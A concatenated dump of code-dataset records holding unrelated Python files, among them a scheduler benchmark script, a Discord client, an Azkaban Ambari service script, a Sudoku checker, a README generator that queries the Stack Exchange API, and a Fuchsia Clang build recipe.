Gold\n sched={\n \"policy\" : \"FIFO\", # Run this task as a SCHED_FIFO task\n\t\t\"prio\" : '45'\n },\n delay_s=10 # start at the start of RTApp\n ).get(),\n },\n # 7. use this folder for task logfiles\n run_dir=target.working_directory\n);\n\"\"\"\n\n# Configure rt app workload\n# Create a new RTApp workload generator\nrtapp.conf(\n\tkind='custom',\n\tduration=40,\n\tparams='/home/joelaf/repo/joel-snips/scripts/sched/rtpush.json',\n);\n\nlogging.info('Configure governor')\n\nlogging.info('Setup and start systrace')\ntrace_file = os.path.join(te.res_dir, 'trace.html')\nsystrace_out = System.systrace_start(te, trace_file, events=['sched', 'freq'])\n\nlogging.info('#### Start RTApp execution')\nrtapp.run(out_dir=te.res_dir, cgroup=\"\")\n\nlogging.info('#### Dump platform json file')\n(plt, plt_file) = te.platform_dump(te.res_dir)\n\nlogging.info('#### Stop systrace')\nsystrace_out.sendline('')\nsystrace_out.wait()\n","sub_path":"scripts/sched/run_lisa_rtapp_push.py","file_name":"run_lisa_rtapp_push.py","file_ext":"py","file_size_in_byte":5595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"438863529","text":"from __future__ import print_function\nfrom domination import core\nimport cPickle as pickle\nimport sys\nimport os\n\ndef main():\n\tgraphic = len(sys.argv) > 0 and \"-g\" in sys.argv\n\t\n\tfields = {\n\t\t\"duel\": core.FieldGenerator(num_red=1, num_blue=1, num_ammo=4, num_points=2, width=30, height=15).generate(),\n\t\t\"skirmish\": core.FieldGenerator(num_red=3, num_blue=3, num_ammo=6, num_points=4, width=40, height=20).generate(),\n\t\t\"battle\": core.FieldGenerator(num_red=9, num_blue=9, num_ammo=24, num_points=6, width=60, height=30).generate()\n\t}\n\n\tfield = fields[\"battle\"] # change this to change the playing field\n\n\tagents = (\"agents/comparison_agent.py\", \"agents/default_agent.py\")\n\n\tsettings = core.Settings(max_steps=100, think_time=0.05)\n\n\trun_episode(agents, field, settings, graphic=graphic)\n\n\t# run_evaluation(agents, field, settings, n=50)\n\n\ndef run_episode(agents, field, settings, graphic=False):\n\tgame = core.Game(red=agents[0], blue=agents[1], settings=settings, record=False, rendered=graphic, field=field, verbose=True)\n\tgame.run()\n\tprint(\"Score Red: \" + str(game.stats.score_red))\n\tprint(\"Score Blue: \" + str(game.stats.score_blue) + \"\\n\")\n\treturn (game.stats.score_red, game.stats.score_blue)\n\n\ndef run_evaluation(agents, field, settings, n=10):\n\tresults_red = []\n\tfor game_number in range(1, n + 1):\n\t\tprint(\"Playing Game \" + str(game_number))\n\t\tscore_red, score_blue = run_episode(agents, field, settings)\n\t\tresults_red.append(score_red)\n\n\taverage_score_red = sum(results_red) / len(results_red)\n\taverage_score_blue = 400 - average_score_red\n\tprint(\"Average Score Red over \" + str(n) + \" games: \" + str(average_score_red))\n\tprint(\"Average Score Blue over \" + str(n) + \" games: \" + str(average_score_blue))\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"live.py","file_name":"live.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"413968526","text":"import logging\nimport asyncio\nimport discord\nimport config\n\n\nlogger = logging.getLogger(__name__)\n\nclass Client(object):\n @classmethod\n def start(cls):\n logger.info('Starting Client...')\n\n cls.client = discord.Client()\n\n cls.loop = asyncio.get_event_loop()\n cls.loop.run_until_complete(cls.client.start(config.DISCORD_TOKEN))\n\n @classmethod\n def stop(cls):\n logger.info('Stopping Client...')\n\n cls.loop.run_until_complete(cls.client.logout())\n\n @classmethod\n @asyncio.coroutine\n def send_message(cls, message):\n channel = cls.client.get_channel(config.DISCORD_CHANNEL_ID)\n\n yield from cls.client.send_message(channel, message)\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"111617876","text":"# -*- coding: utf-8 -*-\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os.path as path\n\nfrom common import AZKABAN_NAME, AZKABAN_WEB_HOME, AZKABAN_WEB_CONF, AZKABAN_SQL\nfrom resource_management.core.exceptions import ExecutionFailed, ComponentIsNotRunning\nfrom resource_management.core.resources.system import Execute\nfrom resource_management.libraries.script.script import Script\nfrom resource_management.core.logger import Logger\n\nclass WebServer(Script):\n def install(self, env):\n from params import java_home, azkaban_db\n import params\n env.set_params(params)\n self.install_packages(env) \n Execute('echo execute.as.user=false > {0} '.format(AZKABAN_WEB_HOME + '/plugins/jobtypes/commonprivate.properties'))\n self.configure(env)\n\n def stop(self, env):\n Execute('cd {0} && (bin/azkaban-web-shutdown.sh || echo 1 > /dev/null)'.format(AZKABAN_WEB_HOME))\n\n def start(self, env):\n self.configure(env)\n if not self.is_init_azkaban_schema(env):\n self.create_azkaban_schema(env)\n \n Execute('cd {0} && bin/azkaban-web-start.sh'.format(AZKABAN_WEB_HOME))\n\n def status(self, env):\n try:\n Execute(\n 'export AZ_CNT=`ps -ef |grep -v grep |grep azkaban-web-server | wc -l` && `if [ $AZ_CNT -ne 0 ];then exit 0;else exit 3;fi `'\n )\n except ExecutionFailed as ef:\n if ef.code == 3:\n raise ComponentIsNotRunning(\"ComponentIsNotRunning\")\n else:\n raise ef\n\n def configure(self, env):\n from params import azkaban_db, azkaban_web_properties, azkaban_users, global_properties, log4j_properties\n key_val_template = '{0}={1}\\n'\n\n with open(path.join(AZKABAN_WEB_CONF, 'azkaban.properties'), 'w') as f:\n for key, value in azkaban_db.iteritems():\n f.write(key_val_template.format(key, value))\n for key, value in azkaban_web_properties.iteritems():\n if key != 'content':\n f.write(key_val_template.format(key, value))\n f.write(azkaban_web_properties['content'])\n\n with open(path.join(AZKABAN_WEB_CONF, 'azkaban-users.xml'), 'w') as f:\n f.write(str(azkaban_users['content']))\n\n with open(path.join(AZKABAN_WEB_CONF, 'global.properties'), 'w') as f:\n f.write(global_properties['content'])\n\n with open(path.join(AZKABAN_WEB_CONF, 'log4j.properties'), 'w') as f:\n f.write(log4j_properties['content'])\n \n def create_azkaban_schema(self, env):\n from params import azkaban_db\n Execute(\n 'mysql -h{0} -P{1} -D{2} -u{3} -p{4} < {5}'.format(\n azkaban_db['mysql.host'],\n azkaban_db['mysql.port'],\n azkaban_db['mysql.database'],\n azkaban_db['mysql.user'],\n azkaban_db['mysql.password'],\n AZKABAN_SQL,\n )\n )\n \n def is_init_azkaban_schema(self, env):\n from params import azkaban_db\n import MySQLdb\n db = MySQLdb.connect(azkaban_db['mysql.host'],azkaban_db['mysql.user'],azkaban_db['mysql.password'],azkaban_db['mysql.database'])\n cursor = db.cursor()\n \n query_sql = \"SELECT table_name FROM information_schema.tables WHERE table_schema = '{0}' AND table_name = 'executors'\".format(azkaban_db['mysql.database'])\n Logger.info(\"query sql : {0}\".format(query_sql))\n results = []\n try:\n cursor.execute(query_sql)\n results = cursor.fetchall()\n except:\n Logger.error(\"Error: unable to fecth data\")\n \n db.close()\n \n return len(results) > 0\n \nif __name__ == '__main__':\n WebServer().execute()\n","sub_path":"package/scripts/azkaban_web.py","file_name":"azkaban_web.py","file_ext":"py","file_size_in_byte":4295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"413599186","text":"'''\nDetermine if a Sudoku is valid.\nThe Sudoku board could be partially filled, where empty cells are filled with the character '.'.\nNote:\nA valid Sudoku board (partially filled) is not necessarily solvable. Only the filled cells need to be validated.\n'''\nclass Solution(object):\n def isValidSudoku(self, board):\n \"\"\"\n :type board: List[List[str]]\n :rtype: bool\n \"\"\"\n lst = []\n for row_idx,row in enumerate(board):\n for col_idx,ele in enumerate(row):\n if ele != '.':\n lst += [(row_idx,ele),(ele,col_idx),(row_idx//3,col_idx//3,ele)]\n return len(lst) == len(set(lst))\n\ns = Solution()\nprint(s.isValidSudoku([\".87654321\",\"2........\",\"3........\",\"4........\",\"5........\",\"6........\",\"7........\",\"8........\",\"9........\"]))\n\n'''\n数独块的判断可融在行列判断的循环内\n巧妙利用tuple和set判断重复\n技巧:由于元素类型为字符串,将行、列有序数对的顺序设为不同 (索引,元素) (元素,索引)以区别行和列的信息\n'''","sub_path":"array_list/valid_sudoku.py","file_name":"valid_sudoku.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"133522133","text":"#!/usr/bin/python\n#-*-coding:utf-8-*-\n\nimport sys, array\nfrom PyQt5.QtWidgets import (QApplication, QWidget, QTableView, QAbstractItemView, QVBoxLayout)\n\nfrom PyQt5.QtGui import (QStandardItemModel, QStandardItem, QColor, QFont)\n\nfrom PyQt5.QtCore import (Qt)\n\nclass TableView(QTableView):\n def __init__(self, parent = None):\n super().__init__(parent)\n model = QStandardItemModel(self)\n lt = []\n for i in range(10):\n item = QStandardItem(i)\n item.setData(i, Qt.DisplayRole)\n item.setBackground(QColor(136, 136, 136))\n item.setCheckable(False)\n item.setTextAlignment(Qt.AlignCenter)\n item.setFont(QFont(\"Times\", 10, QFont.Bold))\n item.setForeground(QColor(255, 255, 255))\n model.setItem(0, i, item)\n self.setModel(model)\n self.verticalHeader().hide()\n self.horizontalHeader().hide()\n self.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n self.setEditTriggers(QAbstractItemView.NoEditTriggers)\n for i in range(10):\n self.setColumnWidth(i, 30)\n model.item(0, 2).setData(9, Qt.DisplayRole)\n self.adjustSize()\n \nif __name__ == '__main__':\n app = QApplication(sys.argv)\n view = QWidget()\n layout = QVBoxLayout()\n layout.addWidget(TableView(view))\n view.setLayout(layout)\n view.show()\n sys.exit(app.exec_())","sub_path":"tmp/TableView.py","file_name":"TableView.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"257407666","text":"#输入某年某月某日,判断这一天是这一年的第几天?\n\n\ndef outter(func):\n def inner():\n year = int(input(\"请输入一个年份:\"))\n # global year\n if year % 100 != 0 and year % 4 == 0 or year % 400 == 0:\n print(\"%d是闰年\"%year)\n dict1[2]=29\n func()\n else:\n print(\"%d是平年\"%year)\n func()\n return inner\n\ndict1 ={1:31,2:28,3:31,4:30,5:31,6:30,7:31,8:30,9:31,10:31,11:30,12:31}\n\ndef f():\n ymd2 = input(\"输入年-月-日[year-month-day]:\")\n ymd1 =ymd2.split('-')\n day =0\n for x in range(1,int(ymd1[1])):\n day += dict1[x]\n Day = day+int(ymd1[2])\n print(\"这一天是这一年的第%d天\"%Day)\n\nf()","sub_path":"judging time.py","file_name":"judging time.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"451412224","text":"import re\nimport datetime\nimport requests\nimport sqlite_utils\nfrom pathlib import Path\nfrom typing import Any, Dict, List, Tuple\n\n\nURL = \"https://api.stackexchange.com/2.2/questions\"\nDATE = datetime.datetime.utcnow().date()\nROOT = Path(__file__).resolve().parent\n\n\ndef get_epochs(\n date: datetime.datetime, \n offset_days: int = 0,\n **kwargs\n) -> Tuple[int]: \n \"\"\" Get epoch dates for the start and end of the date. \"\"\"\n \n offset_date = date - datetime.timedelta(days=offset_days)\n start = datetime.datetime(\n year=offset_date.year, month=offset_date.month, day=offset_date.day,\n hour=0, minute=0, second=0\n )\n end = datetime.datetime(\n year=date.year, month=date.month, day=date.day,\n hour=23, minute=59, second=59\n )\n return int(start.timestamp()), int(end.timestamp())\n\n\ndef fetch_questions(\n start: int, \n end: int, \n tags: str, \n site: str = \"stackoverflow\", \n votes_threshold: int = 1,\n **kwargs\n) -> Dict[str, Any]:\n \"\"\" Fetch questions from stack exchange API. \n \n \n Parameters\n ----------\n start, end : int, epoch timestamps\n Correspond to fromdate and todate API params and are inclusive\n tags : str, tag(s) to look for\n might take up to 5 tags using AND operator : \"pandas;numpy\"\n site : str \n stackexchange site to fetch questions from \n votes_threshold : int \n min number of votes a question should have\n \"\"\"\n\n params = {\n \"fromdate\": start,\n \"todate\": end,\n \"order\": \"desc\",\n \"sort\": \"votes\",\n \"min\": votes_threshold,\n \"tagged\": tags,\n \"site\": site,\n }\n r = requests.get(URL, params=params)\n r.raise_for_status()\n return r.json()\n\n\ndef format_item(item: Dict[str, Any]) -> str:\n \"\"\" Format entry. \"\"\"\n \n title = re.sub(r\"[^\\w\\s]\", \"\", item[\"title\"])\n return f\"* [{title}]({item['link']}) - {item['score']} votes\"\n\n\ndef build_column(data: List[Dict[str, Any]]) -> str:\n \"\"\" Build an unordered markdown list from a list of entries. \"\"\"\n return \"\\n\".join(map(format_item, data[\"items\"][:5]))\n\n\ndef replace_chunk(\n content: str, chunk: str, tags: str, inline: bool = False, **kwargs\n) -> str:\n \"\"\" Replace chunks of README.md \"\"\"\n \n r = re.compile(\n rf\".*\",\n re.DOTALL,\n )\n if not inline:\n chunk = f\"\\n{chunk}\\n\"\n chunk = f\"{chunk}\"\n return r.sub(chunk, content)\n\n\ndef upsert_db(data: List[Dict[str, Any]]):\n \"\"\" update-or-insert questions to sqlite db. \"\"\"\n questions = data[\"items\"][:5]\n timestamp = f\"{DATE:%Y-%m-%d %H:%M}\"\n convert_epoch = datetime.datetime.utcfromtimestamp\n\n db = sqlite_utils.Database(ROOT / \"stackoverflow.db\")\n db[\"questions\"].upsert_all(\n (\n {\n \"question_id\": row[\"question_id\"],\n \"title\": row[\"title\"],\n \"tags\": \",\".join(row[\"tags\"]),\n \"owner_id\": row[\"owner\"][\"user_id\"],\n \"is_answered\": row[\"is_answered\"],\n \"view_count\": row[\"view_count\"],\n \"answer_count\": row[\"answer_count\"],\n \"score\": row[\"score\"],\n \"site\": row[\"link\"].split(\".\")[0].split(\"/\")[-1],\n \"link\": row[\"link\"],\n \"creation_date\": f'{convert_epoch(row[\"creation_date\"]):%Y-%m-%d %H:%M}',\n \"inserted_date\": timestamp\n }\n for row in questions\n ),\n pk=\"question_id\"\n )\n\n db[\"users\"].upsert_all(\n (\n {\n \"user_id\": row[\"owner\"][\"user_id\"],\n \"user_type\": row[\"owner\"][\"user_type\"],\n \"display_name\": row[\"owner\"][\"display_name\"],\n \"link\": row[\"owner\"][\"link\"],\n \"site\": row[\"link\"].split(\".\")[0].split(\"/\")[-1],\n \"inserted_date\": timestamp \n }\n for row in questions\n ),\n pk=\"user_id\"\n )\n\n\nif __name__ == \"__main__\":\n \n readme = ROOT / \"README.md\"\n readme_contents = readme.open().read()\n rewritten = replace_chunk(\n readme_contents, DATE.strftime(\"%Y-%m-%d\"), \"date\", inline=True\n )\n\n sections = (\n {\"tags\": \"pandas\", \"site\": \"stackoverflow\", \"offset_days\": 0},\n {\"tags\": \"python\", \"site\": \"codereview\", \"offset_days\": 7},\n {\"tags\": \"matplotlib\", \"site\": \"stackoverflow\", \"offset_days\": 2}\n )\n\n for section in sections:\n start, end = get_epochs(DATE, **section)\n questions = fetch_questions(start, end, **section)\n content = build_column(questions)\n rewritten = replace_chunk(rewritten, content, **section)\n \n with open(readme, \"w\") as output:\n output.write(rewritten)\n\n upsert_db(questions)\n ","sub_path":"build_readme.py","file_name":"build_readme.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"501873633","text":"# Copyright 2017 The Fuchsia Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\"\"\"Recipe for building Clang toolchain.\"\"\"\n\nfrom recipe_engine.config import Enum, ReturnSchema, Single\nfrom recipe_engine.recipe_api import Property\n\nimport re\n\n\nDEPS = [\n 'infra/git',\n 'infra/gitiles',\n 'infra/goma',\n 'infra/gsutil',\n 'recipe_engine/cipd',\n 'recipe_engine/context',\n 'recipe_engine/file',\n 'recipe_engine/json',\n 'recipe_engine/path',\n 'recipe_engine/platform',\n 'recipe_engine/properties',\n 'recipe_engine/python',\n 'recipe_engine/raw_io',\n 'recipe_engine/step',\n 'recipe_engine/tempfile',\n]\n\nTARGET_TO_ARCH = {\n 'x64': 'x86_64',\n 'arm64': 'aarch64',\n}\nTARGETS = TARGET_TO_ARCH.keys()\n\nPLATFORM_TO_TRIPLE = {\n 'linux-amd64': 'x86_64-linux-gnu',\n 'linux-arm64': 'aarch64-linux-gnu',\n 'mac-amd64': 'x86_64-apple-darwin',\n}\nPLATFORMS = PLATFORM_TO_TRIPLE.keys()\n\nLIBXML2_GIT = 'https://fuchsia.googlesource.com/third_party/libxml2'\nZLIB_GIT = 'https://fuchsia.googlesource.com/third_party/zlib'\n\nPROPERTIES = {\n 'repository':\n Property(\n kind=str, help='Git repository URL',\n default='https://fuchsia.googlesource.com/third_party/llvm-project'),\n 'branch':\n Property(kind=str, help='Git branch', default='refs/heads/master'),\n 'revision':\n Property(kind=str, help='Revision', default=None),\n 'platform':\n Property(\n kind=str, help='CIPD platform for the target', default=None),\n}\n\n\ndef RunSteps(api, repository, branch, revision, platform):\n api.gitiles.ensure_gitiles()\n api.goma.ensure_goma()\n api.gsutil.ensure_gsutil()\n\n if not revision:\n revision = api.gitiles.refs(repository).get(branch, None)\n\n # TODO: factor this out into a host_build recipe module.\n host_platform = '%s-%s' % (api.platform.name.replace('win', 'windows'), {\n 'intel': {\n 32: '386',\n 64: 'amd64',\n },\n 'arm': {\n 32: 'armv6',\n 64: 'arm64',\n },\n }[api.platform.arch][api.platform.bits])\n target_platform = platform or host_platform\n\n with api.step.nest('ensure_packages'):\n with api.context(infra_steps=True):\n cipd_dir = api.path['start_dir'].join('cipd')\n pkgs = api.cipd.EnsureFile()\n pkgs.add_package('infra/cmake/${platform}', 'version:3.9.2')\n pkgs.add_package('infra/ninja/${platform}', 'version:1.8.2')\n pkgs.add_package('fuchsia/clang/${platform}', 'goma')\n if api.platform.is_linux:\n pkgs.add_package('fuchsia/sysroot/linux-amd64', 'latest', 'linux-amd64')\n pkgs.add_package('fuchsia/sysroot/linux-arm64', 'latest', 'linux-arm64')\n pkgs.add_package('fuchsia/sdk/${platform}', 'latest', 'sdk')\n api.cipd.ensure(cipd_dir, pkgs)\n\n staging_dir = api.path.mkdtemp('clang')\n pkg_name = 'clang-%s' % api.platform.name.replace('mac', 'darwin')\n pkg_dir = staging_dir.join(pkg_name)\n api.file.ensure_directory('create pkg dir', pkg_dir)\n\n with api.context(infra_steps=True):\n llvm_dir = api.path['start_dir'].join('llvm-project')\n api.git.checkout(repository, llvm_dir, ref=revision, submodules=True)\n\n lib_install_dir = staging_dir.join('lib_install')\n api.file.ensure_directory('create lib_install_dir', lib_install_dir)\n\n target_triple = PLATFORM_TO_TRIPLE[target_platform]\n host_triple = PLATFORM_TO_TRIPLE[host_platform]\n\n if api.platform.name == 'linux':\n host_sysroot = cipd_dir.join(host_platform)\n target_sysroot = cipd_dir.join(target_platform)\n elif api.platform.name == 'mac':\n # TODO(IN-148): Eventually use our own hermetic sysroot as for Linux.\n step_result = api.step(\n 'xcrun', ['xcrun', '--show-sdk-path'],\n stdout=api.raw_io.output(name='sdk-path', add_output_log=True),\n step_test_data=lambda: api.raw_io.test_api.stream_output(\n '/some/xcode/path'))\n target_sysroot = host_sysroot = step_result.stdout.strip()\n else: # pragma: no cover\n assert false, \"unsupported platform\"\n\n with api.goma.build_with_goma():\n vars = {\n 'CC': '%s %s' % (api.goma.goma_dir.join('gomacc'), cipd_dir.join('bin', 'clang')),\n 'CFLAGS': '-O3 -fPIC --target=%s --sysroot=%s' % (target_triple, target_sysroot),\n 'AR': cipd_dir.join('bin', 'llvm-ar'),\n 'NM': cipd_dir.join('bin', 'llvm-nm'),\n 'RANLIB': cipd_dir.join('bin', 'llvm-ranlib'),\n }\n\n # build zlib\n with api.step.nest('zlib'):\n zlib_dir = api.path['start_dir'].join('zlib')\n api.git.checkout(ZLIB_GIT, zlib_dir, ref='refs/tags/v1.2.9', submodules=False)\n build_dir = staging_dir.join('zlib_build_dir')\n api.file.ensure_directory('create build dir', build_dir)\n with api.context(cwd=build_dir, env=vars):\n api.step('configure', [\n zlib_dir.join('configure'),\n '--prefix=',\n '--static',\n ])\n api.step('build', ['make', '-j%d' % api.goma.jobs])\n api.step('install', ['make', 'install', 'DESTDIR=%s' % lib_install_dir])\n\n # build libxml2\n with api.step.nest('libxml2'):\n libxml2_dir = api.path['start_dir'].join('libxml2')\n api.git.checkout(LIBXML2_GIT, libxml2_dir, ref='refs/tags/v2.9.8', submodules=False)\n with api.context(cwd=libxml2_dir):\n api.step('autoconf', ['autoreconf', '-i', '-f'])\n build_dir = staging_dir.join('libxml2_build_dir')\n api.file.ensure_directory('create build dir', build_dir)\n with api.context(cwd=build_dir):\n api.step('configure', [\n libxml2_dir.join('configure'),\n '--prefix=',\n '--build=%s' % host_triple,\n '--host=%s' % target_triple,\n '--disable-shared',\n '--enable-static',\n '--with-zlib=%s' % lib_install_dir,\n '--without-icu',\n '--without-lzma',\n '--without-python',\n ] + ['%s=%s' % (k, v) for k, v in vars.iteritems()])\n api.step('build', ['make', '-j%d' % api.goma.jobs])\n api.step('install', ['make', 'install', 'DESTDIR=%s' % lib_install_dir])\n\n # build clang+llvm\n build_dir = staging_dir.join('llvm_build_dir')\n api.file.ensure_directory('create llvm build dir', build_dir)\n\n extra_options = {\n 'linux': [\n # Generic flags used by both stages.\n '-DCMAKE_AR=%s' % cipd_dir.join('bin', 'llvm-ar'),\n '-DCMAKE_LINKER=%s' % cipd_dir.join('bin', 'ld.lld'),\n '-DCMAKE_NM=%s' % cipd_dir.join('bin', 'llvm-nm'),\n '-DCMAKE_OBJCOPY=%s' % cipd_dir.join('bin', 'llvm-objcopy'),\n '-DCMAKE_OBJDUMP=%s' % cipd_dir.join('bin', 'llvm-objdump'),\n '-DCMAKE_RANLIB=%s' % cipd_dir.join('bin', 'llvm-ranlib'),\n '-DCMAKE_STRIP=%s' % cipd_dir.join('bin', 'llvm-strip'),\n # BOOTSTRAP_ prefixed flags are passed to the second stage compiler.\n '-DBOOTSTRAP_CMAKE_C_FLAGS=-I%s -I%s' % (lib_install_dir.join('include'), lib_install_dir.join('include', 'libxml2')),\n '-DBOOTSTRAP_CMAKE_CXX_FLAGS=-I%s -I%s' % (lib_install_dir.join('include'), lib_install_dir.join('include', 'libxml2')),\n '-DBOOTSTRAP_CMAKE_SHARED_LINKER_FLAGS=-static-libstdc++ -ldl -lpthread -L%s -L%s' % (cipd_dir.join(target_platform, 'lib'), lib_install_dir.join('lib')),\n '-DBOOTSTRAP_CMAKE_MODULE_LINKER_FLAGS=-static-libstdc++ -ldl -lpthread -L%s -L%s' % (cipd_dir.join(target_platform, 'lib'), lib_install_dir.join('lib')),\n '-DBOOTSTRAP_CMAKE_EXE_LINKER_FLAGS=-static-libstdc++ -ldl -lpthread -L%s -L%s' % (cipd_dir.join(target_platform, 'lib'), lib_install_dir.join('lib')),\n '-DBOOTSTRAP_CMAKE_SYSROOT=%s' % target_sysroot,\n '-DBOOTSTRAP_LLVM_DEFAULT_TARGET_TRIPLE=%s' % target_triple,\n # Unprefixed flags are only used by the first stage compiler.\n '-DCMAKE_EXE_LINKER_FLAGS=-static-libstdc++ -ldl -lpthread -L%s' % cipd_dir.join('lib'),\n '-DCMAKE_EXE_SHARED_FLAGS=-static-libstdc++ -ldl -lpthread -L%s' % cipd_dir.join('lib'),\n '-DCMAKE_SYSROOT=%s' % host_sysroot,\n '-DLLVM_DEFAULT_TARGET_TRIPLE=%s' % host_triple,\n '-DSTAGE2_LINUX_aarch64_SYSROOT=%s' % cipd_dir.join('linux-arm64'),\n '-DSTAGE2_LINUX_x86_64_SYSROOT=%s' % cipd_dir.join('linux-amd64'),\n ],\n 'mac': [],\n }[api.platform.name]\n\n with api.step.nest('clang'), api.context(cwd=build_dir):\n api.step('configure', [\n cipd_dir.join('bin', 'cmake'),\n '-GNinja',\n '-DCMAKE_C_COMPILER_LAUNCHER=%s' % api.goma.goma_dir.join('gomacc'),\n '-DCMAKE_CXX_COMPILER_LAUNCHER=%s' % api.goma.goma_dir.join('gomacc'),\n '-DCMAKE_ASM_COMPILER_LAUNCHER=%s' % api.goma.goma_dir.join('gomacc'),\n '-DCMAKE_C_COMPILER=%s' % cipd_dir.join('bin', 'clang'),\n '-DCMAKE_CXX_COMPILER=%s' % cipd_dir.join('bin', 'clang++'),\n '-DCMAKE_ASM_COMPILER=%s' % cipd_dir.join('bin', 'clang'),\n '-DCMAKE_MAKE_PROGRAM=%s' % cipd_dir.join('ninja'),\n '-DCMAKE_INSTALL_PREFIX=',\n '-DLLVM_ENABLE_PROJECTS=clang;lld',\n '-DLLVM_ENABLE_RUNTIMES=compiler-rt;libcxx;libcxxabi;libunwind',\n '-DSTAGE2_FUCHSIA_SDK=%s' % cipd_dir.join('sdk'),\n ] + extra_options + [\n '-C', llvm_dir.join('clang', 'cmake', 'caches', 'Fuchsia.cmake'),\n llvm_dir.join('llvm'),\n ])\n api.step('build', [cipd_dir.join('ninja'), 'stage2-distribution'])\n # Don't run tests when cross-compiling.\n if host_platform == target_platform:\n # TODO: we should be running stage2-check-all\n api.step('check-llvm', [cipd_dir.join('ninja'), 'stage2-check-llvm'])\n api.step('check-clang', [cipd_dir.join('ninja'), 'stage2-check-clang'])\n with api.context(env={'DESTDIR': pkg_dir}):\n api.step('install',\n [cipd_dir.join('ninja'), 'stage2-install-distribution'])\n\n step_result = api.file.read_text(\n 'Version.inc',\n build_dir.join(\n 'tools', 'clang', 'stage2-bins',\n 'tools', 'clang', 'include', 'clang', 'Basic', 'Version.inc'),\n test_data='#define CLANG_VERSION_STRING \"8.0.0\"')\n m = re.search(r'CLANG_VERSION_STRING \"([a-zA-Z0-9.-]+)\"', step_result)\n assert m, 'Cannot determine Clang version'\n clang_version = m.group(1)\n\n # TODO(TC-202): Remove once Rust uses the correct triple\n clang_libdir = pkg_dir.join('lib', 'clang', clang_version)\n for _, arch in TARGET_TO_ARCH.iteritems():\n api.python('create %s-unknown-fuchsia symlink' % arch,\n api.resource('create_symlink.py'),\n ['%s-fuchsia' % arch,\n clang_libdir.join('%s-unknown-fuchsia' % arch)])\n\n if api.platform.name == 'linux':\n for arch in ['aarch64', 'x86_64']:\n api.python('create %s-unknown-linux-gnu symlink' % arch,\n api.resource('create_symlink.py'),\n ['%s-linux-gnu' % arch,\n clang_libdir.join('%s-unknown-linux-gnu' % arch)])\n\n\n # TODO(TO-471): Ideally this would be done by the cmake build itself.\n manifest_format = ''\n for soname in [\n 'libclang_rt.asan.so',\n 'libclang_rt.ubsan_standalone.so',\n 'libclang_rt.scudo.so',\n ]:\n manifest_format += ('lib/%s=clang/{clang_version}/{arch}-fuchsia/lib/%s\\n' %\n (soname, soname))\n for prefix in ('', 'asan/'):\n for soname in [\n 'libc++.so.2',\n 'libc++abi.so.1',\n 'libunwind.so.1',\n ]:\n manifest_format += ('lib/%s=clang/{clang_version}/{arch}-fuchsia/lib/%s\\n' %\n (prefix + soname, prefix + soname))\n for _, arch in TARGET_TO_ARCH.iteritems():\n manifest_file = '%s-fuchsia.manifest' % arch\n api.file.write_text('write %s' % manifest_file,\n pkg_dir.join('lib', manifest_file),\n manifest_format.format(arch=arch, clang_version=clang_version))\n\n cipd_pkg_name = 'fuchsia/clang/' + target_platform\n pkg_def = api.cipd.PackageDefinition(\n package_name=cipd_pkg_name,\n package_root=pkg_dir,\n install_mode='copy')\n pkg_def.add_dir(pkg_dir)\n pkg_def.add_version_file('.versions/clang.cipd_version')\n\n cipd_pkg_file = api.path['cleanup'].join('clang.cipd')\n\n api.cipd.build_from_pkg(\n pkg_def=pkg_def,\n output_package=cipd_pkg_file,\n )\n\n cipd_pins = api.cipd.search(cipd_pkg_name, 'git_revision:' + revision)\n if cipd_pins:\n api.step('Package is up-to-date', cmd=None)\n return\n\n cipd_pin = api.cipd.register(\n package_name=cipd_pkg_name,\n package_path=cipd_pkg_file,\n refs=['latest'],\n tags={\n 'version': clang_version,\n 'git_repository': repository,\n 'git_revision': revision,\n },\n )\n\n api.gsutil.upload(\n 'fuchsia',\n cipd_pkg_file,\n api.gsutil.join('clang', target_platform, cipd_pin.instance_id),\n unauthenticated_url=True\n )\n\n\ndef GenTests(api):\n revision = '75b05681239cb309a23fcb4f8864f177e5aa62da'\n for platform in ('linux', 'mac'):\n yield (api.test(platform) +\n api.platform.name(platform) +\n api.properties(platform='%s-amd64' % platform) +\n api.gitiles.refs('refs', ('refs/heads/master', revision)))\n yield (api.test(platform + '_new') +\n api.platform.name(platform) +\n api.properties(platform='%s-amd64' % platform) +\n api.gitiles.refs('refs', ('refs/heads/master', revision)) +\n api.step_data('cipd search fuchsia/clang/' + platform + '-amd64 ' +\n 'git_revision:' + revision,\n api.cipd.example_search('fuchsia/clang/' + platform + '-amd64 ', [])))\n","sub_path":"recipes/clang_toolchain.py","file_name":"clang_toolchain.py","file_ext":"py","file_size_in_byte":13483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"440646922","text":"from crawler.spiders import BaseSpider\n# 此文件包含的头文件不要修改\nimport scrapy\nfrom utils.util_old import *\nfrom crawler.items import *\nfrom bs4 import BeautifulSoup\nfrom scrapy.http import Request, Response\nimport re\nimport time\nimport requests\nfrom 